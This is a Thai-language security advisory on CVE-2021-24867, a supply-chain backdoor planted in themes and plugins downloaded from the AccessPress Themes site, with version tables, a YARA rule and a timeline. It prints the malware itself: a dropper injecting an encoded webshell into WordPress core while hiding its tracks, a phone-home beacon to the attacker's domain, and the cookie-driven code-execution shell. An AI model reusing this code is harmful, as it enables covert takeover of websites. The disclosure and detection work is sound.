Backdoor พบในธีมและปลั๊กอินจาก AccessPress Themes

เผยแพร่แล้ว: 2022-01-19

อัปเดต 1 กุมภาพันธ์ – เปลี่ยนส่วน "ธีมที่ได้รับผลกระทบ" เพื่อแสดงว่าเวอร์ชันใหม่ของธีมกำลังเริ่มปรากฏขึ้น

ขณะตรวจสอบไซต์ที่ถูกบุกรุก เราพบโค้ดที่น่าสงสัยในธีมโดย AccessPress Themes (aka Access Keys) ซึ่งเป็นผู้จำหน่ายที่มีธีมและปลั๊กอินยอดนิยมจำนวนมาก ในการตรวจสอบเพิ่มเติม เราพบว่าธีมทั้งหมดและปลั๊กอินส่วนใหญ่จากผู้จำหน่ายมีรหัสที่น่าสงสัยนี้ แต่ถ้าดาวน์โหลดจากเว็บไซต์ของพวกเขาเองเท่านั้น ส่วนขยายเดียวกันนั้นใช้ได้หากดาวน์โหลดหรือติดตั้งโดยตรงจากไดเร็กทอรี WordPress.org

เนื่องจากส่วนขยายถูกบุกรุก เราจึงสงสัยว่าผู้โจมตีภายนอกได้ละเมิดเว็บไซต์ของ AccessPress Themes เพื่อพยายามใช้ส่วนขยายเพื่อแพร่ระบาดในไซต์เพิ่มเติม

เราติดต่อผู้ขายทันที แต่ในตอนแรกเราไม่ได้รับการตอบกลับ หลังจากส่งต่อไปยังทีมปลั๊กอิน WordPress.org ความสงสัยของเราได้รับการยืนยันแล้ว เว็บไซต์ AccessPress Themes ถูกละเมิดในช่วงครึ่งแรกของเดือนกันยายน 2021 และส่วนขยายที่มีให้ดาวน์โหลดบนเว็บไซต์ของพวกเขาถูกฉีดด้วยแบ็คดอร์

เมื่อเราสร้างช่องทางในการสื่อสารกับผู้ขายแล้ว เราก็ได้แชร์ผลการค้นพบโดยละเอียดกับพวกเขา พวกเขาลบส่วนขยายที่ละเมิดออกจากเว็บไซต์ของตนทันที

ปลั๊กอินส่วนใหญ่ได้รับการอัปเดตแล้ว และเวอร์ชันที่สะอาดที่รู้จักจะแสดงอยู่ที่ด้านล่างของโพสต์นี้ อย่างไรก็ตาม ธีมที่ได้รับผลกระทบยังไม่ได้รับการอัปเดต และถูกดึงออกจากที่เก็บธีม WordPress.org หากคุณมีธีมใดๆ ที่แสดงไว้ที่ด้านล่างของโพสต์นี้ที่ติดตั้งในไซต์ของคุณ เราขอแนะนำให้ย้ายไปยังธีมใหม่โดยเร็วที่สุด

การเปิดเผยนี้เกี่ยวข้องกับส่วนขยายจำนวนมาก ทั้งปลั๊กอินและธีม ข้ามไปที่รายการด้านล่างหรืออ่านเพื่อดูรายละเอียด

รายละเอียด:

ผู้จำหน่าย: AccessPress Themes
url ของผู้จำหน่าย: https://accesspressthemes.com
ปลั๊กอิน: หลายรายการ
กระทู้: หลาย
CVE: CVE-2021-24867

การวิเคราะห์:

ส่วนขยายที่ติดไวรัสมีหยดสำหรับเว็บเชลล์ที่ช่วยให้ผู้โจมตีสามารถเข้าถึงไซต์ที่ติดไวรัสได้อย่างเต็มที่ ดรอปเปอร์อยู่ในไฟล์ inital.php ซึ่งอยู่ในไดเร็กทอรีปลั๊กอินหรือธีมหลัก เมื่อรันจะติดตั้ง webshell ที่ใช้คุกกี้ใน wp-includes/vars.php เชลล์ได้รับการติดตั้งเป็นฟังก์ชันหน้า wp_is_mobile() โดยใช้ชื่อ wp_is_mobile_fix() นี่น่าจะไม่ก่อให้เกิดความสงสัยให้ใครก็ตามเลื่อนดูไฟล์ vars.php โดยไม่ตั้งใจ

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

เมื่อติดตั้งเชลล์แล้ว ดรอปเปอร์จะโทรศัพท์กลับบ้านโดยโหลดรูปภาพระยะไกลจาก URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg พร้อม URL ของไซต์ที่ติดไวรัสและข้อมูลเกี่ยวกับ ธีมใดที่ใช้เป็นอาร์กิวเมนต์ของคิวรี สุดท้าย มันจะลบไฟล์ต้นทางของ dropper เพื่อหลีกเลี่ยงการตรวจจับเมื่อคำขอดำเนินการเสร็จสิ้น

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

เว็บเชลล์เองจะทริกเกอร์หากสตริงตัวแทนผู้ใช้ในคำขอคือ wp_is_mobile และคำขอมีคุกกี้เฉพาะแปดตัว มันรวมเข้าด้วยกันและดำเนินการเพย์โหลดจากคุกกี้ที่ให้มาเหล่านี้

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

นอกจากนี้เรายังได้เห็น backdoor อื่นที่น่าจะเก่ากว่าอีกแบบหนึ่งซึ่งฝังอยู่ในไฟล์ functions.php ของธีม/ปลั๊กอินโดยตรง ตัวแปรนี้ใช้กลไกเดียวกันกับการรวบรวมเพย์โหลดจากคุกกี้แปดตัว แต่ไม่ได้กรองสตริงตัวแทนผู้ใช้ของคำขอ

เพื่อให้แน่ใจว่าดรอปเปอร์ทำงาน ไฟล์ปลั๊กอินหลัก (สำหรับปลั๊กอิน) หรือไฟล์ functions.php (สำหรับธีม) ได้รับการแก้ไขด้วยโค้ดเพื่อรันไฟล์ inital.php หากมี

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

รายละเอียดที่โดดเด่นอย่างหนึ่งจากการประทับเวลาของปลั๊กอินที่ถูกบุกรุกคือทุกรายละเอียดตั้งแต่ต้นเดือนกันยายน ส่วนใหญ่มาจากวันที่ 6 และ 7 กันยายน โดยมีไฟล์บางส่วนจากวันที่ 2 และ 3 กันยายน ในทำนองเดียวกันสำหรับธีม ทั้งหมดถูกบุกรุกในวันที่ 22 กันยายน ยกเว้น accessbuddy ในวันที่ 9 กันยายน

นอกจากนี้ การประทับเวลาภายในไฟล์ zip นั้นมีความสม่ำเสมอมาก โดยเกือบทุกไฟล์ที่มีการประทับเวลาเหมือนกันทุกประการ ยกเว้นไฟล์ปลั๊กอินหลักที่แก้ไขและไฟล์ดรอปเปอร์ที่เพิ่มเข้ามาซึ่งจะถูกประทับตราในไม่กี่นาทีต่อมา (โดยปกติประมาณ 2-5 นาทีหลังจากนั้น ไฟล์อื่นๆ ในไฟล์เก็บถาวร)

เมื่อดูการประทับเวลาของไฟล์ zip ที่ดาวน์โหลดจากที่เก็บ wordpress.org เราพบว่ามีการกระจายการประทับเวลาที่สอดคล้องกับเวลาที่ปลั๊กอิน/ธีมได้รับการอัปเดตจริง นอกจากนี้ การกระจายการประทับเวลาภายในไฟล์เก็บถาวรจะมีความสม่ำเสมอน้อยลงและสะท้อนให้เห็นว่าไฟล์ใดได้รับการอัปเดตในการเผยแพร่ และไฟล์ใดไม่เปลี่ยนแปลงจากรีลีสที่เก่ากว่า

สิ่งนี้แนะนำเราว่าไฟล์จากเว็บไซต์ของ AccessPress Themes ได้รับการแก้ไขโดยเจตนา และเป็นการดำเนินการที่ประสานกันหลังจากที่เผยแพร่ครั้งแรก ดูเหมือนว่าการประนีประนอมจะดำเนินการในสองขั้นตอน ขั้นแรกสำหรับปลั๊กอินและอีกขั้นสำหรับธีม แต่ละคนมีความพยายามก่อนหน้านี้บางทีอาจปรับกระบวนการให้ละเอียด

การตรวจสอบของเราได้พิจารณาเฉพาะธีมและปลั๊กอินที่มีให้จากเว็บไซต์ของ AccessPress Themes เท่านั้น เราถือว่าธีมโปรที่จ่ายเงินได้รับผลกระทบในทำนองเดียวกัน แต่เราไม่ได้ตรวจสอบสิ่งเหล่านี้ หากคุณมีสิ่งเหล่านี้ โปรดติดต่อฝ่ายสนับสนุนของ AccessPress Themes เพื่อขอคำแนะนำเพิ่มเติม

ธีมที่ได้รับผลกระทบ

หากคุณมีธีมใดๆ ต่อไปนี้ซึ่งมีหมายเลขเวอร์ชันในคอลัมน์ Bad ติดตั้งอยู่ในไซต์ของคุณ เราขอแนะนำให้คุณอัปเกรดเป็นเวอร์ชันในคอลัมน์ Clean ทันที เป็นที่น่าสังเกตว่าธีมที่ติดตั้งผ่าน WordPress.org นั้นสะอาด แม้ว่าจะอยู่ในคอลัมน์ที่ ไม่ดี ก็ตาม เรายังคงแนะนำให้อัปเกรดเป็นเวอร์ชันสะอาดที่รู้จักเพื่อความปลอดภัย

ธีมที่ไม่มีหมายเลขเวอร์ชันในคอลัมน์ Clean ยังไม่ได้อัปเกรด และเราแนะนำให้แทนที่ด้วยธีมอื่นหากเป็นไปได้

ทากธีม แย่ ทำความสะอาด
accessbuddy 1.0.0
accesspress-พื้นฐาน 3.2.1 3.2.2
accesspress-lite 2.92 2.93
accesspress-mag 2.6.5 2.6.6
accesspress-parallax 4.5 4.6
accesspress-ray 1.19.5
accesspress-root 2.5 2.6.0
accesspress-staple 1.9.1
accesspress-store 2.4.9 2.5.0
หน่วยงาน-lite 1.1.6 1.1.7
เหมาะสม 1.0.6
bingle 1.0.4 1.0.5
บล็อกเกอร์ 1.2.6 1.2.7
ก่อสร้าง-lite 1.2.5 1.2.6
โดโก 1.0.27 1.1.0
ตรัสรู้ 1.3.5 1.3.6
ร้านแฟชสโตร์ 1.2.1
การถ่ายภาพ 2.4.0 2.4.1
กาก้าคอร์ป 1.0.8
gaga-lite 1.4.2
หนึ่งpaze 2.2.8
Parallax-บล็อก 3.1.1574941215
Parallaxsome 1.3.6 1.3.7
punte 1.1.2 1.1.3
หมุน 1.3.1
ระลอกคลื่น 1.2.0 1.2.1
scrollme 2.1.0
sportsmag 1.2.1
storevilla 1.4.1 1.4.2
swing-lite 1.1.9 1.2.0
ตัวเปิด 1.3.2 1.3.3
วันจันทร์ 1.4.1
uncode-lite 1.3.1
ยูนิคอน-ไลต์ 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-news 1.0.5 1.0.6
ซิกซี่เบบี้ 1.0.6 1.0.7
zigcy-cosmetics 1.0.5 1.0.6
ซิกซี่ไลต์ 2.0.9 2.1.0
ตารางที่ 1: ธีมและเวอร์ชันที่ถูกโจมตีโดยการโจมตี

ปลั๊กอินที่ได้รับผลกระทบ

หากคุณมีปลั๊กอินต่อไปนี้ซึ่งมีหมายเลขเวอร์ชันในคอลัมน์ Bad ติดตั้งอยู่ในไซต์ของคุณ เราขอแนะนำให้อัปเกรดเป็นเวอร์ชันในคอลัมน์ Clean ทันที เป็นที่น่าสังเกตว่าปลั๊กอินที่ติดตั้งผ่าน WordPress.org นั้นสะอาด แม้ว่าจะอยู่ในคอลัมน์ที่ ไม่ดี ก็ตาม เรายังคงแนะนำให้อัปเกรดเป็นเวอร์ชันสะอาดที่รู้จักเพื่อความปลอดภัย

ปลั๊กอินที่ไม่มีหมายเลขเวอร์ชันในคอลัมน์ Clean ยังไม่ได้อัปเกรด และเราแนะนำให้แทนที่ด้วยปลั๊กอินอื่นๆ หากเป็นไปได้

บุ้งปลั๊กอิน แย่ ทำความสะอาด บันทึก
accesspress-anonymous-post 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-social-counter 1.9.1 1.9.2
accesspress-social-icons 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-share 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
accesspress-twitter-feed 1.6.7 1.6.8
ak-menu-icons-lite 1.0.9
แอพคู่หู 1.0.7 2
ap-contact-form 1.0.6 1.0.7
ap-custom-testimonial 1.4.6 1.4.7
ap-mega-menu 3.0.5 3.0.6
ap-pricing-tables-lite 1.1.2 1.1.3
apex-notification-bar-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
ความคิดเห็นปิดการใช้งาน accesspress 1.0.7 1.0.8
cta-cta . แบบง่าย 1.0.7 1.0.8
everest-admin-theme-lite 1.0.7 1.0.8
everest-coming-soon-lite 1.1.0 1.1.1
everest-comment-rated-lite 2.0.4 2.0.5
everest-counter-lite 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
everest-gallery-lite 1.0.8 1.0.9
everest-google-places-reviews-lite 1.0.9 2.0.0
everest-review-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
inline-call-to-action-builder-lite 1.1.0 1.1.1
product-slider-for-woocommerce-lite 1.1.5 1.1.6
smart-logo-showcase-lite 1.1.7 1.1.8
smart-scroll-posts 2.0.8 2.0.9
smart-scroll-to-top-lite 1.0.3 1.0.4
Total-gdpr-compliance-lite 1.0.4
Total-team-lite 1.1.1 1.1.2
ultimate-author-box-lite 1.1.2 1.1.3
ultimate-form-builder-lite 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
wp-1-ตัวเลื่อน 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp-cookie-user-info 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp-floating-menu 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-ป๊อปอัพแบนเนอร์ 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-product-gallery-lite 1.1.1
ตารางที่ 2: ปลั๊กอิน เวอร์ชันที่ถูกโจมตีโดยการโจมตี ตลอดจนเวอร์ชันที่สะอาดที่รู้จัก

หมายเหตุ:

  1. ปลั๊กอินนี้ยังไม่ได้รับการอัปเดต แต่เชื่อว่าสะอาดเนื่องจากเวอร์ชันบนเว็บไซต์ AccessPress Themes เป็นเวอร์ชันที่เก่ากว่า
  2. ปลั๊กอินนี้ไม่ได้รับการอัปเดต แต่เชื่อว่าสะอาด เนื่องจากไม่มีอยู่ในเว็บไซต์ AccessPress Themes ตั้งแต่แรก

ไอโอซี

กฎ YARA ต่อไปนี้สามารถใช้เพื่อตรวจสอบว่าไซต์นั้นติดไวรัสหรือไม่ มันจะตรวจจับทั้งส่วนหยดของการติดเชื้อและ webshell ที่ติดตั้งไว้

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

คำแนะนำ

หากคุณมีธีมหรือปลั๊กอินติดตั้งโดยตรงจาก AccessPress Themes หรือที่อื่นๆ ยกเว้น WordPress.org คุณควรอัปเกรดเป็นเวอร์ชันที่ปลอดภัยทันทีตามที่ระบุไว้ในตารางด้านบน หากไม่มีเวอร์ชันที่ปลอดภัย ให้แทนที่ด้วยเวอร์ชันล่าสุดจาก WordPress.org

โปรดทราบว่าการดำเนินการนี้ไม่ได้ลบแบ็คดอร์ออกจากระบบของคุณ ดังนั้นนอกจากนี้ คุณต้องติดตั้ง WordPress เวอร์ชันใหม่ทั้งหมดเพื่อคืนค่าการแก้ไขไฟล์หลักที่ทำระหว่างการติดตั้งแบ็คดอร์

หากคุณมีธีมหรือปลั๊กอินที่ต้องชำระเงินจาก AccessPress Themes/Access Keys เราแนะนำให้ติดต่อฝ่ายสนับสนุนเพื่อขอความช่วยเหลือ

เราขอแนะนำให้คุณมีแผนความปลอดภัยสำหรับไซต์ของคุณที่มีการสแกนไฟล์ที่เป็นอันตรายและการสำรองข้อมูล Jetpack Security เป็นหนึ่งในตัวเลือกการรักษาความปลอดภัย WordPress ที่ยอดเยี่ยมเพื่อให้แน่ใจว่าไซต์และผู้เยี่ยมชมของคุณปลอดภัย Jetpack Scan ตรวจพบประตูหลังและดรอปเปอร์ทุกรุ่นตั้งแต่วันที่ 30 กันยายน

เส้นเวลา

2021-09-22: ทีม Jetpack Scan ค้นพบดรอปเปอร์และประตูหลังในธีม FotoGraphy และพยายามติดต่อผู้ขายเกี่ยวกับการค้นหาเบื้องต้น

2021-09-27: ยืนยันการมีอยู่ของ dropper + back door ในปลั๊กอินและธีมฟรีทั้งหมดในปัจจุบันที่ดาวน์โหลดจากเว็บไซต์ของผู้ขาย

2021-09-28: ยืนยันว่า ไม่มี dropper + back door ในการดาวน์โหลดจาก wordpress.org

2021-09-29: กำลังพยายามติดต่อผู้ขายอีกครั้งพร้อมอัปเดตการค้นพบใหม่

2021-10-14: ส่งต่อไปยังทีมปลั๊กอิน WordPress เพื่อพยายามติดต่อกับผู้ขาย

2021-10-15: ส่วนขยายที่ถูกบุกรุกจะถูกลบออกจากไซต์ของผู้ขาย

2021-10-16: การตอบกลับจากผู้ขาย

2022-01-17: ปลั๊กอินส่วนใหญ่ได้รับการอัปเกรดเป็นเวอร์ชันใหม่ ธีมถูกดึงออกจาก WordPress.org

2022-01-18 เปิดเผยต่อสาธารณะ